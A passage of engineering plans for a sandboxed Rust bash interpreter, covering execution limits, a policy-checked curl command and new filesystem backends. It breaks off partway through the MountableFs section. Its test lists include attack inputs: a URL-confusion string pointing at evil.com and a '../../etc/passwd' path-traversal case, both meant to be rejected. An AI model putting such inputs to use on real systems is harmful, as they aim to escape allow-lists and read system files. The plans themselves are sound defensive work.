limits.\n\nFix: propagate key counters into sub-states:\n- `command_count` → share (add to parent's total after sub-state returns)\n- `output_size` → share (same)\n- `start_time` → share (copy from parent, so wall-clock is global)\n- `call_depth` → keep at 0 (function depth is per-scope)\n- `substitution_depth` → propagate (for nested `$()`)\n\nFor `execute_command_substitution()` and `execute_subshell()`: initialize sub-state counters from parent, fold `command_count` and `output_size` back into the parent after completion.\n\nFor `make_exec_callback()`: the closure signature `Fn(&str) -> Result<CommandResult, RustBashError>` doesn't carry counter state back. At minimum, capture the parent's `start_time` (it's `Copy`) so wall-clock limits apply globally. For `command_count`, accept this as a known limitation — the parent's `dispatch_command` still counts the `xargs`/`find` call itself. Document this trade-off.\n\n### 2e. Enforce `call_depth` for `source` and `eval`\n\nIn `builtins.rs`, both the `source` builtin (line ~813) and the `eval` builtin (line ~705) call `execute_program()` on the parent state without tracking depth. Add increment/decrement of `counters.call_depth` around the `execute_program()` call in both, similar to `execute_function_call()`. This prevents deeply nested `source`/`eval` chains from overflowing the stack.\n\n**Exit criteria**: All 10 limits enforced. Unit tests for each enforcement point. All existing 354+ tests pass.\n\n---\n\n## Phase 3 — `NetworkPolicy` Type & Builder Integration ✅\n\n### 3a. Define `NetworkPolicy` struct\n\nAdd `url = \"2\"` to `Cargo.toml` (needed for URL normalization in `validate_url()`).\n\nCreate `src/network.rs`:\n\n```rust\nuse std::collections::HashSet;\nuse std::time::Duration;\n\npub struct NetworkPolicy {\n    pub enabled: bool,                     // default: false\n    pub allowed_url_prefixes: Vec<String>,\n    pub allowed_methods: HashSet<String>,  // default: {\"GET\", \"POST\"}\n    pub max_redirects: usize,             // default: 5\n    pub max_response_size: usize,         // default: 10MB\n    pub timeout: Duration,                // default: 30s\n}\n```\n\nWith a `Default` impl that has `enabled: false`. Derive `Clone` (needed for `make_exec_callback` closure capture).\n\nAdd a `validate_url(&self, url: &str) -> Result<(), String>` method that checks the URL against `allowed_url_prefixes` using literal prefix matching (as specified in Ch. 7):\n- Parse URL with `url::Url` to normalize\n- Compare against each prefix\n- Reject if no prefix matches\n\nAdd a `validate_method(&self, method: &str) -> Result<(), String>` method.\n\n### 3b. Wire into `InterpreterState` and builder\n\n- Add `network_policy: NetworkPolicy` field to `InterpreterState`\n- Add `network_policy: Option<NetworkPolicy>` field to `RustBashBuilder`\n- Add `.network_policy(policy)` method to `RustBashBuilder`\n- Pass through in `build()`, defaulting to `NetworkPolicy::default()` (disabled)\n- Add `NetworkPolicy` to the public re-exports in `lib.rs`\n\n### 3c. Pass `NetworkPolicy` to commands\n\nAdd `network_policy: &NetworkPolicy` field to `CommandContext`. All commands receive it; only `curl` will use it.\n\n**Cascade note**: `CommandContext` is constructed in `dispatch_command()` (walker.rs) and `make_exec_callback()` (walker.rs). The exec callback closure must also capture `network_policy` (it's `Clone`). Additionally, ~10 test helper `ctx()` functions across command modules (`utils.rs`, `text.rs`, `file_ops.rs`, `navigation.rs`, `exec_cmds.rs`, `test_cmd.rs`, `diff_cmd.rs`, `sed.rs`, `jq_cmd.rs`, `awk/mod.rs`) must include the new field. The compiler will catch all missing sites.\n\n**Exit criteria**: `NetworkPolicy` compiles, is configurable via the builder, and is threaded into `CommandContext`. No behavioral change yet. Phase 3c must be sequenced after Phase 2 completes (both touch `dispatch_command` and `make_exec_callback`).\n\n---\n\n## Phase 4 — `curl` Command (M3.2) ✅\n\n### 4a. Add `ureq` dependency\n\n```toml\nureq = \"3\"\n```\n\nUse the latest stable version. Note: `url` was already added in Phase 3a. The ureq 3.x API is agent-based (no top-level `ureq::get()`); implementation must target the v3 API.\n\n### 4b. Implement `CurlCommand`\n\nCreate `src/commands/net.rs` with a `CurlCommand` implementing `VirtualCommand`.\n\n**Supported flags** (practical subset for AI agent use):\n- URL argument (positional or via explicit flag)\n- `-X METHOD` / `--request METHOD` — HTTP method (default: GET)\n- `-H \"Header: Value\"` / `--header` — custom headers (repeatable)\n- `-d DATA` / `--data` — request body (switches default method to POST)\n- `-o FILE` / `--output` — write response to VFS file instead of stdout\n- `-s` / `--silent` — suppress progress (no-op since we don't show progress, but accept the flag)\n- `-S` / `--show-error` — show errors even with `-s` (accept, no-op)\n- `-f` / `--fail` — return exit code 22 on HTTP errors (4xx/5xx)\n- `-L` / `--location` — follow redirects (up to `max_redirects`, each target re-validated)\n- `-i` / `--include` — include response headers in output\n- `-w FORMAT` / `--write-out` — output format string after transfer (support `%{http_code}`)\n- `-I` / `--head` — HEAD request only\n- `-v` / `--verbose` — print request/response details to stderr\n- `-k` / `--insecure` — accept flag but ignore (we always verify TLS)\n\n### 4c. Network policy enforcement in `CurlCommand`\n\nBefore making any HTTP call:\n1. Check `network_policy.enabled` — if false, return error: `\"curl: network access is disabled\"`\n2. Validate URL against `allowed_url_prefixes` — reject with: `\"curl: URL not allowed by network policy: {url}\"`\n3. Validate HTTP method against `allowed_methods`\n4. Set request timeout from `network_policy.timeout`\n5. Limit response body size to `network_policy.max_response_size` (read in chunks, abort if exceeded)\n6. For `-L` (follow redirects): validate each redirect target URL, enforce `max_redirects`\n\n### 4d. Register `CurlCommand`\n\nAdd to `commands::register_default_commands()` in `commands/mod.rs`.\n\n**Exit criteria**: `curl` works against allowed URLs when network is enabled, returns clear errors otherwise. Redirect chains are validated at each hop. Response size is bounded.\n\n---\n\n## Phase 5 — Tests & Documentation ✅\n\n### 5a. Limit enforcement tests\n\nFor each limit, write integration tests that:\n1. Set a low limit via the builder\n2. Run a script that exceeds it\n3. Assert a `LimitExceeded` error with the correct `limit_name`\n4. Verify the shell remains usable after (subsequent `exec()` succeeds)\n\nSpecific test cases:\n- `max_command_count`: `for i in $(seq 1 20); do echo $i; done` with limit 10\n- `max_loop_iterations`: `while true; do :; done` with limit 100\n- `max_call_depth`: recursive function `f() { f; }; f` with limit 5\n- `max_execution_time`: `sleep 999` with 100ms timeout (sleep caps to max_execution_time, so this runs ~100ms)\n- `max_output_size`: `yes | head -n 100000` with 1KB limit\n- `max_string_length`: `x=\"\"; for i in $(seq 1 1000); do x=\"${x}aaaa\"; done` with 1KB limit\n- `max_substitution_depth`: `echo $(echo $(echo $(echo x)))` with depth 2\n- `max_heredoc_size`: heredoc with large body, limit 100 bytes\n- `max_glob_results`: create many files, glob `*` with limit 5\n- `max_brace_expansion`: `echo {1..10000}` with limit 100\n- Counter sharing: `for i in 1 2 3; do echo $(seq 1 100); done` with `max_command_count` 200 — should fail because subshell commands accumulate\n- `source` call depth: nested source files hitting `max_call_depth`\n- `eval` recursion depth: `eval 'eval \"eval \\\"echo done\\\"\"'` with `max_call_depth: 2`\n- Counter reset between exec() calls: `shell.exec(\"heavy\")` then `shell.exec(\"echo ok\")` succeeds\n- `max_string_length` in `read`: `echo \"$huge\" | read var` where input exceeds limit\n- Here-string size: `cat <<<$(generate_huge)` with low `max_heredoc_size`\n\n### 5b. Network policy tests\n\nAll HTTP tests should be policy-validation unit tests — **do not make integration tests that hit real URLs**. Add `#[cfg(feature = \"network-integration-tests\")]` gate if real HTTP tests are ever desired.\n\n- Network disabled (default): `curl https://example.com` → error\n- Network enabled, URL allowed: unit-test that `validate_url()` returns Ok\n- Network enabled, URL rejected: wrong prefix → error\n- URL normalization attack: `https://api.example.com@evil.com/` must be rejected (parsed by `url::Url`, the prefix check on the normalized URL catches this)\n- Redirect validation: allowed URL redirects to disallowed URL → error\n- Response size limit exceeded → error\n- Method restriction: POST when only GET allowed → error\n\n### 5c. Documentation updates\n\n- Update the threat matrix in `docs/guidebook/07-execution-safety.md`: change **(planned)** to ✅ for all limits enforced\n- Update `docs/guidebook/10-implementation-plan.md`: mark M3.1 and M3.2 with ✅\n- Update `README.md` if the builder API changed (e.g., `network_policy` method)\n\n**Exit criteria**: All tests pass. `cargo fmt && cargo clippy -- -D warnings && cargo test` clean. Documentation matches implementation.\n\n---\n\n## Build Order and Dependencies\n\n```\nPhase 1 (error refactoring) ─── no deps, pure refactoring\n  │\nPhase 2 (limit enforcement) ─── depends on Phase 1 for error types\n  │\nPhase 3 (NetworkPolicy type) ── depends on Phase 2 (both touch dispatch_command, make_exec_callback)\n  │                              Phase 3a (network.rs) could parallel Phase 2, but 3c cannot\nPhase 4 (curl command) ──────── depends on Phase 3 for policy type, adds ureq crate\n  │\nPhase 5 (tests & docs) ──────── depends on all above\n```\n\n**Recommended execution**: Phases 1 → 2 → 3 → 4 → 5 (strictly sequential).\n\n---\n\n## Risk Register\n\n| Risk | Likelihood | Impact | Mitigation |\n|------|-----------|--------|------------|\n| `ureq` adds too much binary bloat | Low | Medium | ureq is minimal (~200KB). Feature-gate `curl` behind a cargo feature only if measured as a problem |\n| Counter-sharing in subshells changes semantics | Medium | Medium | Only share `command_count`, `output_size`, `start_time`. Keep `call_depth` per-scope |\n| Glob error (Phase 1d) breaks existing scripts | Medium | Low | Only error when exceeding limit; default is 100K which is very high |\n| `max_string_length` enforcement catches legitimate large outputs | Low | Medium | Default is 10MB — very generous. Users can override |\n| Test flakiness for `max_execution_time` | Medium | Low | Use generous margins (e.g., 100ms limit for sleep 999) |\n| `InterpreterState` construction cascade | Low | Low | ~5 sites must add `network_policy` field; compiler catches all |\n| `ureq` v3 API differs from v2 | Low | Low | Target v3 agent-based API from the start |\n\n---\n\n## Resolved Design Decisions\n\n1. **`sleep` command and timeout interaction**: The existing `sleep` implementation already caps duration to `max_execution_time` (utils.rs:321-325). A `sleep 999` with a 5s limit blocks for ~5s, then the next `check_limits()` catches the timeout. This is acceptable — the capping ensures it's bounded. No change needed.\n\n2. **Feature-gate curl?** No. Binary size impact of ureq is minimal. Feature flags add CI complexity disproportionate to the benefit. Revisit only if binary size becomes a measured problem.\n\n3. **Exec callback counter limitation**: The `make_exec_callback` closure cannot fold counters back (signature is `Fn(&str) -> Result<CommandResult, RustBashError>`). We propagate `start_time` for wall-clock enforcement and accept that per-invocation command counts reset. The parent still counts the top-level `xargs`/`find` invocation. Document as known limitation.\n","/home/user/docs/plans/M4.md":"# Milestone 4: Filesystem Backends — Implementation Plan\n\n## Problem Statement\n\nrust-bash currently has a single filesystem backend: `InMemoryFs`. While this is the correct default for sandboxed execution, real-world embedding scenarios need more flexibility:\n\n- **Code analysis tools** want to read a real project directory while sandboxing all writes (OverlayFs).\n- **Trusted execution** environments want direct real filesystem access with optional path restriction (ReadWriteFs).\n- **Complex setups** want to combine multiple backends at different mount points — e.g., in-memory scratch at `/tmp`, overlay on a real project at `/project`, in-memory root elsewhere (MountableFs).\n\nM4 delivers all three backends as specified in Chapter 5 of the guidebook.\n\n## M3 Carryover\n\nM3 is fully complete. All 10 execution limits are enforced with structured `LimitExceeded` errors, counter sharing across subshells works correctly, `NetworkPolicy` and `curl` are implemented and tested. No carryover work needed.\n\n## Key Design Challenges\n\n### 1. Subshell Isolation (`deep_clone`)\n\nThe interpreter currently uses `as_any().downcast_ref::<InMemoryFs>()` for deep cloning in three places (subshells, command substitution, exec callbacks). The fallback is `Arc::clone()` (shared, not isolated). This must be generalized so all backends support proper subshell isolation.\n\n**Solution**: Add a `fn deep_clone(&self) -> Arc<dyn VirtualFs>` method to the `VirtualFs` trait. Each backend implements it appropriately:\n- `InMemoryFs`: clones entire tree (existing behavior)\n- `OverlayFs`: clones the upper (in-memory) layer and whiteout set; lower stays shared (it's read-only)\n- `ReadWriteFs`: returns `Arc::clone(self)` — no isolation needed since it's a passthrough to the real FS; subshell writes hit the real FS too\n- `MountableFs`: recursively deep-clones each mounted backend\n\nThis eliminates all `downcast_ref::<InMemoryFs>()` calls in the interpreter and makes the isolation mechanism backend-agnostic.\n\n### 2. Builder API for Custom Filesystems\n\nThe builder currently hardcodes `InMemoryFs::new()` in `build()`. We need a `.fs(Arc<dyn VirtualFs>)` method that lets users provide any backend. When `.fs()` is set, the builder skips creating `InMemoryFs` and uses the provided backend. The `.files()` method still works (writes seed files into whatever backend is provided).\n\n### 3. Real Filesystem Access in OverlayFs/ReadWriteFs\n\nThese backends use `std::fs` internally. This is acceptable because:\n- The `VirtualFs` trait is the sandbox boundary — **commands** never call `std::fs`\n- Backend implementations are trusted code chosen by the embedding application\n- The user explicitly opts into real FS access by constructing these backends\n\n## Approach\n\nFour phases, each independently testable. Phase 1 establishes the trait-level foundation (deep_clone + builder). Phases 2–4 implement backends in order of increasing complexity. Each backend gets its own module file under `src/vfs/`.\n\n### Dependencies\n\n**New dev-dependency:**\n- `tempfile` (latest) — for creating temporary directories in ReadWriteFs and OverlayFs tests\n\n**No new runtime crates needed.** `std::fs` provides everything for real FS access. `parking_lot` is already available for interior mutability.\n\n## File Organization\n\n```\nsrc/vfs/\n├── mod.rs          # VirtualFs trait (updated: +deep_clone, -as_any)\n├── memory.rs       # InMemoryFs (existing, updated)\n├── overlay.rs      # OverlayFs (new)\n├── readwrite.rs    # ReadWriteFs (new)\n├── mountable.rs    # MountableFs (new)\n└── tests.rs        # (existing tests, extended with new backend tests)\n```\n\n---\n\n## Phase 1 — Trait Evolution & Builder Update (Foundation)\n\n> Generalize subshell isolation and allow custom filesystem backends.\n\n### 1a. Add `deep_clone()` to `VirtualFs` trait\n\nAdd a new required method to the trait:\n\n```rust\n/// Create an independent deep copy for subshell isolation.\n///\n/// Subshells `( ... )` and command substitutions `$(...)` need an isolated\n/// filesystem so their mutations don't leak back to the parent. Each backend\n/// decides what \"independent copy\" means:\n/// - InMemoryFs: clones the entire tree\n/// - OverlayFs: clones the upper layer and whiteouts; lower is shared\n/// - ReadWriteFs: no isolation (returns Arc::clone — writes hit real FS)\n/// - MountableFs: recursively deep-clones each mount\nfn deep_clone(&self) -> Arc<dyn VirtualFs>;\n```\n\nImplement for `InMemoryFs` by wrapping the existing `deep_clone()` method:\n\n```rust\nfn deep_clone(&self) -> Arc<dyn VirtualFs> {\n    Arc::new(InMemoryFs {\n        root: Arc::new(RwLock::new(self.root.read().clone())),\n    })\n}\n```\n\n### 1b. Remove `as_any()` from `VirtualFs` trait\n\nWith `deep_clone()` on the trait, `as_any()` is no longer needed. Remove it from:\n- The trait definition (`vfs/mod.rs`)\n- The `InMemoryFs` implementation (`vfs/memory.rs`)\n- All `downcast_ref::<InMemoryFs>()` callsites in the interpreter\n\n### 1c. Update interpreter to use trait-level `deep_clone()`\n\nReplace the three `downcast_ref` patterns in the interpreter with direct trait calls:\n\n**In `expansion.rs:execute_command_substitution()`:**\n```rust\n// Before:\nlet cloned_fs: Arc<dyn VirtualFs> =\n    if let Some(memfs) = state.fs.as_any().downcast_ref::<InMemoryFs>() {\n        Arc::new(memfs.deep_clone())\n    } else {\n        Arc::clone(&state.fs)\n    };\n\n// After:\nlet cloned_fs = state.fs.deep_clone();\n```\n\nSame change in `walker.rs:execute_subshell()` and `walker.rs:make_exec_callback()` (two sites — one for the outer clone, one inside the closure).\n\n### 1d. Add `.fs()` method to `RustBashBuilder`\n\nAdd a new field and method to the builder:\n\n```rust\npub struct RustBashBuilder {\n    // ... existing fields ...\n    fs: Option<Arc<dyn VirtualFs>>,\n}\n```\n\n```rust\n/// Use a custom filesystem backend instead of the default InMemoryFs.\n///\n/// When set, the builder uses this filesystem directly. The `.files()` method\n/// still works — it writes seed files into the provided backend via VirtualFs\n/// methods. Note: for `ReadWriteFs`, this means seed files are written to the\n/// real filesystem. For `OverlayFs`, seed files go to the in-memory upper layer.\npub fn fs(mut self, fs: Arc<dyn VirtualFs>) -> Self {\n    self.fs = Some(fs);\n    self\n}\n```\n\nUpdate `build()` to use the provided fs or create `InMemoryFs` as default:\n\n```rust\nlet fs: Arc<dyn VirtualFs> = self.fs.unwrap_or_else(|| Arc::new(InMemoryFs::new()));\n```\n\nThe rest of `build()` (mkdir_p for cwd, seeding files) works unchanged since it goes through `&dyn VirtualFs`.\n\n### 1e. Add `deep_clone()` for `InMemoryFs` to public API\n\nThe existing `InMemoryFs::deep_clone(&self) -> Self` method remains public as a convenience for users who have a concrete `InMemoryFs`. The new trait method `VirtualFs::deep_clone(&self) -> Arc<dyn VirtualFs>` is the generic version.\n\n### 1f. Export new types from `lib.rs`\n\nAfter all backends are added (Phases 2–4), update `lib.rs` to export:\n```rust\npub use vfs::{InMemoryFs, OverlayFs, ReadWriteFs, MountableFs, VirtualFs};\n```\n\nDo the `OverlayFs`, `ReadWriteFs`, `MountableFs` exports incrementally as each backend is implemented.\n\n**Exit criteria**: All existing tests pass. `downcast_ref::<InMemoryFs>()` no longer appears in the interpreter. The builder accepts custom filesystems.\n\n---\n\n## Phase 2 — ReadWriteFs (Simplest Backend)\n\n> Thin `std::fs` wrapper with optional path restriction.\n\nReadWriteFs is implemented first because it's the simplest new backend and validates the `VirtualFs` trait + `deep_clone()` pattern end-to-end before tackling the more complex backends.\n\n### 2a. Create `src/vfs/readwrite.rs`\n\n```rust\npub struct ReadWriteFs {\n    root: Option<PathBuf>,  // Optional chroot-like path restriction\n}\n```\n\n**Constructor API:**\n```rust\nimpl ReadWriteFs {\n    /// Create a ReadWriteFs with unrestricted access to the real filesystem.\n    pub fn new() -> Self { ... }\n\n    /// Create a ReadWriteFs restricted to paths under `root`.\n    ///\n    /// All paths are resolved relative to `root`. Path traversal beyond\n    /// `root` (via `..` or symlinks) is rejected with `PermissionDenied`.\n    pub fn with_root(root: impl Into<PathBuf>) -> std::io::Result<Self> { ... }\n}\n```\n\n**Thread safety:** No interior state to lock — all operations delegate to `std::fs` which is inherently thread-safe for independent operations. For interior mutability needs (e.g., none currently), `parking_lot::RwLock` is available.\n\n### 2b. Path restriction logic\n\nWhen `root` is set, implement a `resolve(&self, path: &Path) -> Result<PathBuf, VfsError>` helper:\n\n1. Join `root` with `path` (stripping any leading `/` from `path` to make it relative)\n2. Walk up to find the deepest existing ancestor, canonicalize that ancestor via `std::fs::canonicalize()`\n3. Append the remaining (non-existent) path components to the canonicalized ancestor\n4. Verify the result starts with `root` — reject with `VfsError::PermissionDenied` if not\n\n**Why not just `canonicalize()` the full path?** `std::fs::canonicalize()` requires the target path to exist. Operations like `write_file` and `mkdir` create new paths that don't exist yet. By canonicalizing the existing ancestor and appending the tail, we correctly handle both existing and not-yet-existing paths.\n\n**TOCTOU note:** Between path resolution and the actual `std::fs` operation, symlinks could theoretically be swapped. This is inherent to real-FS operations and matches the behavior of other chroot-like implementations. Document this in a `# Safety` section on `ReadWriteFs`.\n\nWhen `root` is `None`, paths are used as-is.\n\n### 2c. Implement all `VirtualFs` methods (21 original + `deep_clone` = 22 total)\n\nMap each method to its `std::fs` equivalent:\n\n| VirtualFs method | std::fs equivalent |\n|---|---|\n| `read_file` | `std::fs::read` |\n| `write_file` | `std::fs::write` |\n| `append_file` | `OpenOptions::new().append(true).open().write_all()` |\n| `remove_file` | `std::fs::remove_file` |\n| `mkdir` | `std::fs::create_dir` |\n| `mkdir_p` | `std::fs::create_dir_all` |\n| `readdir` | `std::fs::read_dir` |\n| `remove_dir` | `std::fs::remove_dir` |\n| `remove_dir_all` | `std::fs::remove_dir_all` |\n| `exists` | `std::fs::exists` or `Path::exists()` |\n| `stat` | `std::fs::metadata` |\n| `lstat` | `std::fs::symlink_metadata` |\n| `chmod` | `std::os::unix::fs::PermissionsExt::set_mode()` |\n| `utimes` | `filetime` crate or `std::fs::File::set_times()` (Rust 1.75+) |\n| `symlink` | `std::os::unix::fs::symlink` |\n| `hardlink` | `std::fs::hard_link` |\n| `readlink` | `std::fs::read_link` |\n| `canonicalize` | `std::fs::canonicalize` |\n| `copy` | `std::fs::copy` |\n| `rename` | `std::fs::rename` |\n| `glob` | Walk directory tree + pattern matching (reuse `glob_match` from `crate::interpreter::pattern`) |\n\n**Error mapping:** Map `std::io::Error` to `VfsError`:\n- `ErrorKind::NotFound` → `VfsError::NotFound`\n- `ErrorKind::AlreadyExists` → `VfsError::AlreadyExists`\n- `ErrorKind::PermissionDenied` → `VfsError::PermissionDenied`\n- `ErrorKind::DirectoryNotEmpty` → `VfsError::DirectoryNotEmpty` (on stable Rust, check error message or use custom mapping)\n- Other → `VfsError::IoError`\n\n**Metadata mapping:** Map `std::fs::Metadata` to `vfs::Metadata`:\n- `is_file()` → `NodeType::File`\n- `is_dir()` → `NodeType::Directory`\n- `is_symlink()` → `NodeType::Symlink`\n- `len()` → `size`\n- `permissions().mode()` → `mode` (unix-specific)\n- `modified()` → `mtime`\n\n### 2d. Implement `deep_clone()`\n\n```rust\nfn deep_clone(&self) -> Arc<dyn VirtualFs> {\n    // ReadWriteFs is a passthrough — there's no in-memory state to isolate.\n    // Subshell writes hit the real filesystem, same as the parent.\n    Arc::new(Self { root: self.root.clone() })\n}\n```\n\n### 2e. Implement glob for ReadWriteFs\n\nWalk the real directory tree using `std::fs::read_dir` recursively, applying `glob_match` from `crate::interpreter::pattern`. Must handle:\n- `*`, `?`, `[...]` within path components\n- `**` for recursive matching\n- Return paths relative to cwd when input pattern is relative\n\nSince the InMemoryFs glob helper (`glob_collect`) is tightly coupled to `FsNode`, write a parallel implementation for real FS walking. Extract `glob_match` into a shared utility if not already accessible.\n\n**Root restriction for glob:** When a root restriction is set, the glob walker must verify that every directory it enters (including symlink targets) remains within the root. Use `resolve()` at each directory level to prevent symlinks from escaping the restricted path.\n\n### 2f. Register module and export\n\n- Add `mod readwrite;` to `vfs/mod.rs`\n- Add `pub use readwrite::ReadWriteFs;` to `vfs/mod.rs`\n- Add `ReadWriteFs` to `lib.rs` re-exports\n\n### 2g. Tests\n\nWrite tests in a new `src/vfs/readwrite_tests.rs` (or a section in `tests.rs`). Use `tempfile` or manual temp directories:\n\n- Basic file CRUD (write, read, append, remove)\n- Directory operations (mkdir, mkdir_p, readdir, rmdir)\n- Symlink and hardlink operations\n- Path restriction: operations within root succeed, operations outside root fail with PermissionDenied\n- Path traversal attack: `../../etc/passwd` with root set → PermissionDenied\n- Symlink escape: symlink pointing outside root → PermissionDenied on canonicalize\n- Glob on real directory tree\n- `deep_clone()` returns independent instance\n- `stat`/`lstat`/`chmod`/`utimes` on real files\n\n- Write to non-existent file with root restriction (validates `resolve()` for non-existent paths)\n- Glob doesn't escape root via symlinks\n\n**Exit criteria**: ReadWriteFs passes all tests. Path restriction is secure. `cargo clippy -- -D warnings` clean.\n\n---\n\n## Phase 3 — OverlayFs (Copy-on-Write)\n\n> Read from a real directory, write to an in-memory layer. Changes never touch disk.\n\n### 3a. Create `src/vfs/overlay.rs`\n\n```rust\npub struct OverlayFs {\n    lower: PathBuf,                              // Real directory (read-only source)\n    upper: InMemoryFs,                           // In-memory write layer\n    whiteouts: Arc<RwLock<HashSet<PathBuf>>>,    // Tracks deletions\n}\n```\n\n**Why `Arc<RwLock<...>>` for whiteouts?** The `VirtualFs` trait requires `&self` on all methods, including mutating ones like `remove_file`. Whiteout insertion is a mutation, so it needs interior mutability.\n\n**Constructor:**\n```rust\nimpl OverlayFs {\n    /// Create an overlay filesystem with `lower` as the read-only base.\n    ///\n    /// The lower directory must exist. Returns an error if it doesn't.\n    pub fn new(lower: impl Into<PathBuf>) -> std::io::Result<Self> {\n        let lower = lower.into();\n        if !lower.is_dir() {\n            return Err(std::io::Error::new(\n                std::io::ErrorKind::NotADirectory,\n                format!(\"{} is not a directory\", lower.display()),\n            ));\n        }\n        let lower = lower.canonicalize()?;\n        Ok(Self {\n            lower,\n            upper: InMemoryFs::new(),\n            whiteouts: Arc::new(RwLock::new(HashSet::new())),\n        })\n    }\n}\n```\n\n### 3b. Resolution order for reads\n\nFor every read operation (`read_file`, `stat`, `exists`, `readdir`, etc.):\n\n1. **Check whiteouts** — if the absolute path OR any ancestor of the path is in the whiteout set, return `NotFound`. This is critical: if `/project/src` is whiteout-ed (e.g., `rm -rf /project/src`), then `/project/src/main.rs` must also be considered deleted.\n2. **Check upper (InMemoryFs)** — if found, return from upper\n3. **Check lower (real FS)** — if found, return from real FS\n4. Return `NotFound`\n\nImplement a private whiteout check that walks ancestors:\n```rust\nfn is_whiteout(&self, path: &Path) -> bool {\n    let whiteouts = self.whiteouts.read();\n    let mut current = path.to_path_buf();\n    loop {\n        if whiteouts.contains(&current) {\n            return true;\n        }\n        if !current.pop() {\n            return false;\n        }\n    }\n}\n```\n\nImplement a resolution helper:\n```rust\nenum LayerResult<T> {\n    Whiteout,\n    Upper(T),\n    Lower(T),\n    NotFound,\n}\n\nfn resolve_layer(&self, path: &Path) -> LayerResult<...> { ... }\n```\n\n### 3c. Write operations → always to upper\n\nAll write operations (`write_file`, `append_file`, `mkdir`, `chmod`, `utimes`, `symlink`, `hardlink`) go directly to the upper `InMemoryFs`. If the file exists only in the lower layer and the operation modifies it (e.g., `append_file`), first copy-up from lower to upper, then apply the mutation.\n\n**`mkdir_p` across layers:** `mkdir_p` must walk path components, checking each against both layers. For each component: if it exists in upper or lower (and is not whiteout-ed), skip. If it doesn't exist in either layer, create it in the upper. This ensures `mkdir_p /project/build/release` works correctly when `/project` only exists in the lower layer — it creates only the missing components (`build`, `release`) in the upper, without needing to duplicate `/project` itself.\n\n**Copy-up pattern:**\n```rust\nfn copy_up_if_needed(&self, path: &Path) -> Result<(), VfsError> {\n    if self.upper.exists(path) {\n        return Ok(()); // already in upper\n    }\n    // Read from lower, write to upper\n    let content = self.read_from_lower(path)?;\n    self.upper.write_file(path, &content)?;\n    // Copy metadata (mode, mtime) from lower to upper\n    ...\n    Ok(())\n}\n```\n\n### 3d. Delete operations → whiteout + remove from upper\n\nWhen deleting a file/directory:\n1. If it exists in upper, remove from upper\n2. Add the path to the whiteout set (this hides it from the lower layer too)\n\nFor `remove_dir_all`, recursively add whiteouts for all children visible from both layers.\n\n### 3e. Directory listings → merged\n\n`readdir` must merge entries from both layers:\n1. Start with upper's entries for this directory\n2. Add lower's entries that are NOT in the whiteout set and NOT already in upper\n3. Return the merged, deduplicated list\n\n### 3f. Rename and copy across layers\n\n`rename(src, dst)`:\n- Copy-up `src` if only in lower\n- Perform rename in upper\n- Add whiteout for original `src` path (to hide it from lower)\n\n`copy(src, dst)`:\n- Read from the resolved layer (upper or lower)\n- Write to upper\n\n### 3g. Path resolution and canonicalize\n\n`canonicalize` is the highest-complexity method in OverlayFs. Each path component must be resolved step-by-step through both layers:\n\n1. Start from root (`/`)\n2. For each component in the path:\n   a. Check if the component is a symlink in upper (takes precedence) or lower\n   b. If symlink, resolve the target through the overlay (recursively, with depth limit)\n   c. If directory, continue to next component\n3. Return the fully resolved path\n\nImplement a `resolve_component(&self, parent: &Path, name: &str) -> Result<(PathBuf, NodeType), VfsError>` helper that checks upper → lower for a single path step. Build `canonicalize` on top of this with a symlink depth counter (reuse the existing `MAX_SYMLINK_DEPTH = 40` constant or similar).\n\nThis mirrors the step-by-step approach used in `InMemoryFs::canonicalize` (~50 lines) but checks two layers instead of one.\n\n### 3h. Glob across layers\n\nGlob must search both layers and merge results:\n1. Glob in upper → collect matches\n2. Glob in lower (real FS walking) → collect matches not in whiteout set\n3. Merge and deduplicate\n\n### 3i. Implement `deep_clone()`\n\n```rust\nfn deep_clone(&self) -> Arc<dyn VirtualFs> {\n    // Lower is read-only, safe to share.\n    // Upper and whiteouts need independent copies.\n    Arc::new(OverlayFs {\n        lower: self.lower.clone(),\n        upper: self.upper.deep_clone(),  // InMemoryFs::deep_clone() -> Self\n        whiteouts: Arc::new(RwLock::new(self.whiteouts.read().clone())),\n    })\n}\n```\n\n### 3j. Lower-layer reading helper\n\nCreate a private helper module or functions for reading from the real filesystem. These are self-contained within `overlay.rs` to keep the overlay logic independent from `ReadWriteFs`.\n\nKey helpers needed:\n- `read_lower_file(path: &Path) -> Result<Vec<u8>, VfsError>` — maps `lower/relative_path`\n- `stat_lower(path: &Path) -> Result<Metadata, VfsError>`\n- `readdir_lower(path: &Path) -> Result<Vec<DirEntry>, VfsError>`\n- `lower_path(&self, vfs_path: &Path) -> PathBuf` — maps VFS absolute path to real FS path under `lower`\n\n### 3k. Register module and export\n\n- Add `mod overlay;` to `vfs/mod.rs`\n- Add `pub use overlay::OverlayFs;` to `vfs/mod.rs`\n- Add `OverlayFs` to `lib.rs` re-exports\n\n### 3l. Tests\n\n- **Read-through:** file exists only in lower → readable via overlay\n- **Write isolation:** write via overlay → exists in upper, lower unchanged\n- **Whiteout:** delete file from lower → not found via overlay, still on disk\n- **Copy-up on modify:** append to lower-only file → file now in upper with appended content\n- **Merged readdir:** files in both layers appear in listing, whiteouts excluded\n- **Rename across layers:** rename lower-only file → new name in upper, old name whiteout\n- **Glob merging:** glob finds files from both layers\n- **deep_clone isolation:** mutations in cloned overlay don't affect original\n- **Non-existent lower:** constructor returns error for missing directory\n- **Ancestor whiteout hides descendants:** `rm -rf /project/src` then `cat /project/src/main.rs` fails\n- **`mkdir_p` through lower-only directories:** intermediate dirs from lower are recognized without copy-up\n- **Hardlink after copy-up:** two hardlinked files in lower; modify one via overlay; the other remains unmodified (hardlink relationship broken, matching real overlayfs behavior)\n\n**Exit criteria**: OverlayFs passes all tests. Lower directory is never modified. `cargo clippy -- -D warnings` clean.\n\n---\n\n## Phase 4 — MountableFs (Composite)\n\n> Combine multiple backends at different mount points with longest-prefix matching.\n\n### 4a. Create `src/vfs/mountable.rs`\n\n```rust\npub struct MountableFs {\n    mounts: Arc<RwLock<BTreeMap<PathBuf, Arc<dyn VirtualFs>>>>,\n}\n```\n\nUsing `BTreeMap` for ordered keys, which enables efficient longest-prefix lookup by iterating in reverse from the queried path.\n\n**Builder-pattern constructor:**\n```rust\nimpl MountableFs {\n    pub fn new() -> Self { ... }\n\n    /// Mount a filesystem backend at the given path.\n    ///\n    /// Paths must be absolute. Mounting at \"/\" provides the default fallback.\n    /// Later mounts at the same path replace earlier ones.\n    pub fn mount(self, path: impl Into<PathBuf>, fs: Arc<dyn VirtualFs>) -> Self { ... }\n}\n```\n\n### 4b. Longest-prefix mount resolution\n\n```rust\n/// Find the mount that owns the given path.\n///\n/// Returns the 